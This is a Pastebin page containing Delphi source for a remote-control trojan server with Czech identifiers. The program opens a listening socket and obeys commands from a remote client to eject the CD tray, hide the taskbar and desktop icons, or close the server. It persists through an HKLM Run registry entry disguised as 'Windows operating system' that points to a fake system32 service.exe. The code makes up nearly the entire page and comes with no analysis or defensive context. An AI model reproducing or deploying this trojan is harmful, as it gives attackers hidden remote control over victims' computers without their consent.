SHARE
TWEET

seberm

seberm Mar 30th, 2009 23 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. unit trojan_server_system;
  2.  
  3. interface
  4.  
  5. uses
  6.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  7.   Dialogs, ScktComp, MMSystem, StdCtrls, Registry, Winsock;
  8. //...Do Uses p�id�no MMSystem, Registry, Winsock
  9.  
  10. type
  11.   TForm1 = class(TForm)
  12.     ServerSocket1: TServerSocket;
  13.     procedure FormCreate(Sender: TObject);
  14.     procedure ServerSocket1ClientRead(Sender: TObject;
  15.       Socket: TCustomWinSocket);
  16.     procedure AutomatickeSpusteni;
  17.     procedure VypnoutAutomatickeSpousteni;
  18.   private
  19.     { Private declarations }
  20.   public
  21.     { Public declarations }
  22.   end;
  23.  
  24. var
  25.   Form1: TForm1;
  26.  
  27. implementation
  28.  
  29. {$R *.dfm}
  30.  
  31. procedure TForm1.FormCreate(Sender: TObject);
  32. begin
  33.   ServerSocket1.Active:= True;
  34.   AutomatickeSpusteni;
  35. end;
  36.  
  37. procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  38.   Socket: TCustomWinSocket);
  39. var
  40.   zprava: String;
  41.   hTaskBar: THandle;
  42. begin
  43.   zprava:= ServerSocket1.Socket.Connections[0].ReceiveText;
  44.  
  45.   if zprava = 'cdout' then
  46.     begin
  47.       mciSendString('Set cdaudio door open wait',nil,0,handle);
  48.     end;
  49.  
  50.   if zprava = 'cdin' then
  51.     begin
  52.       mciSendString('Set cdaudio door closed wait',nil,0,handle);
  53.     end;
  54.  
  55.   if zprava = 'hidetask' then
  56.     begin
  57.       hTaskbar:= FindWindow('Shell_TrayWnd', Nil);
  58.       ShowWindow(hTaskBar, SW_HIDE);
  59.     end;
  60.  
  61.   if zprava = 'showtask' then
  62.     begin
  63.       hTaskbar:= FindWindow('Shell_TrayWnd', Nil);
  64.       ShowWindow(hTaskBar, SW_SHOWNORMAL);
  65.     end;
  66.  
  67.    if zprava = 'hideicons' then
  68.     begin
  69.       ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);
  70.     end;
  71.  
  72.    if zprava = 'showicons' then
  73.     begin
  74.       ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW);
  75.     end;
  76.  
  77.    if zprava = 'closeserver' then
  78.     begin
  79.       ServerSocket1.Active:= False;
  80.     end;
  81. end;
  82.  
  83.  
  84.  
  85. procedure TForm1.AutomatickeSpusteni;
  86. var
  87.   key: String;
  88.   Reg: TRegIniFile;
  89. begin
  90.   key:= '\Software\Microsoft\Windows\CurrentVersion\Run';
  91.   Reg:= TRegIniFile.Create;
  92.   try
  93.     Reg.RootKey:= HKEY_LOCAL_MACHINE;
  94.     Reg.CreateKey(Key);
  95.       if Reg.OpenKey(Key,False) then
  96.         Reg.WriteString(key,'Windows operating system','C:\WINDOWS\system32\service.exe');
  97.   finally
  98.     Reg.Free;
  99.   end;
  100. end;
  101.  
  102. procedure TForm1.VypnoutAutomatickeSpousteni;
  103. var
  104.   key: String;
  105.   Reg: TRegIniFile;
  106. begin
  107.   key:= '\Software\Microsoft\Windows\CurrentVersion\Run';
  108.   Reg:= TRegIniFile.Create;
  109.   try
  110.     Reg.RootKey:= HKEY_LOCAL_MACHINE;
  111.       if Reg.OpenKey(Key,False) then
  112.         Reg.DeleteValue('Windows operating system');
  113.   finally
  114.     Reg.Free;
  115.   end;
  116.  
  117. end;
  118.  
  119.  
  120. end.
RAW Paste Data
Challenge yourself this year...
Learn something new in 2017
Top